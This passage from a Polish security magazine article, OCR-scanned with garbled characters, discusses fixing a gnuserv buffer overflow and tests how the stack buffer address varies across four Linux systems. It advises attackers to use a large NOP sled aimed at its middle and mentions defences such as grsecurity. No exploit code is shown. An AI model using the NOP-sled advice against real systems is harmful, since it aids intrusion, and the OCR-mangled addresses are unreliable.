Nasuwa sie pytanie: co powinno
sie zmieni¢ w kodzie, zeby stat sie
on bezpieczny? Zrédtem niebez-
pieczenstwa jest fakt, ze umiesz-
czamy w buforze tyle danych, ile
poda uzytkownik, nie sprawdzajac
ich dtugosci. Pomo6c wiec powinno
dodanie do kodu warunku, ktéry

sprawdzi, czy zawarto$¢ zmienne;j
auth data len hie jest wieksza
od wielkosci bufora i jesli trzeba
zmniejszy jg. Dokonanie tej zmiany
i sprawdzenie, czy tak poprawiony
kod stanie sie odporny na proby
przepetniania bufora, pozostawia-
my jako ¢éwiczenie dla dociekliwych
Czytelnikow. m

Czy opisywana metoda zadziata w praktyce?
Podczas przeprowadzania opisywanych préb bylismy w komfortowej sytuacii

— mieliSmy mozliwos¢ przeprowadzania testow na komputerze bedacym celem

ataku. Dzieki temu znali$my doktadny adres, pod ktérym w pamigci znajdowat sie
dostarczany przez nas szelkod. W sytuacji rzeczywistej trzeba liczy¢ sie z tym,

Ze nie bedziemy mieli mozliwosci przeprowadzania prob na atakowanym kompu-
terze. Czy nie oznacza to, ze szelkod trafi pod inny adres, przez co atak sie nie

powiedzie? Mogtoby sie wydawag, ze na kazdym komputerze adres tablicy buf[]
bedzie taki sam.

Zeby jednak nie polegaé tylko na zdrowym rozsadku, przeprowadzono prébe: do
pliku gnuserv.c dodano linijke, ktéra tuz po nadpisaniu bufora wypisuje jego adres:

printf ("\nadres bufora: 0x%x\n\n", &buf);

Tak zmodyfikowany program uruchomiono na czterech komputerach i obserwowa-
no wypisywany adres. Rezultaty przedstawia Tabela 1. Jak wida¢, wbrew naszym na-
dziejom szelkod wystany na inny komputer moze trafi¢ pod adres inny niz ten, ktéry

znalezliSmy na naszym komputerze.

Powodem, dla ktérego na dwdch ostatnich komputerach adres tablicy buf(]

zmieniat sie przy kazdym uruchomieniu, byty fatki na jadro, ktérych celem jest wia-

$nie utrudnienie przeprowadzania atakdéw zwigzanych z przepetnianiem bufora na
stosie. Réznica migdzy komputerem pierwszym i drugim moze wynika¢ z wielu po-

wodow — na przykfad z tego, ze na stosie umieszczane sg zmienne srodowiskowe,

€0 mozna sprawdzi¢ wydajac polecenie: $ export XXX=XXXXXXXXXXXXXXXXXX ana-
stepnie ponownie sprawdzajgc adres buf[].

Z przeprowadzonej proby wynikajg dwa wnioski. Po pierwsze, z punktu widze-
nia intruza, konstruujgc ztosliwy cigg, ktérym przepetnimy bufor, powinni$my posta-
rac sie, by obszar zajmowany przez nopy byt duzy, zas nadpisywany adres powro-

tu z funkcji powinien celowa¢ mniej wiecej w srodek tego obszaru. Pozwoli to osig-

gnac sukces nawet, jesli adres bufora zmieni sie o kilkaset bajtow (uwaga: jesli ob-
szar adreséw bedzie zbyt krotki, mogq pojawi¢ sie problemy, ktére zostang opisa-
ne w artykule Szelkod w Pythonie w kolejnym numerze pisma). Po drugie, z punktu

widzenia administratora, na szczes$cie mozna zabezpieczy¢ sie (bardziej lub mniej

skutecznie...) przed tego typu atakami — warto zainteresowac sie na przyktad projek-

tem grsecurity. Inny, bardziej elegancki, wyrafinowany i skuteczny sposéb radzenia

sobie ze wspomnianym problemem opisuje Marcin Wolak w artykule Zdalny explo-
it dla systemu Winows 2000.

Tabela 1. Adres bufora buf[] na badanych komputerach
Debian testing, jadro 2.4.21 Oxbf£££480
Suse, jadro 2.6.4-54.5
Aurox 9.4

Oxbff£f£f180
adres inny przy kazdym urucho-
mieniu, na przyktad oxbfffe6ds

Mandrake, jadro 2.4.22-
1.2149.nptl

adres inny przy kazdym urucho-
mieniu
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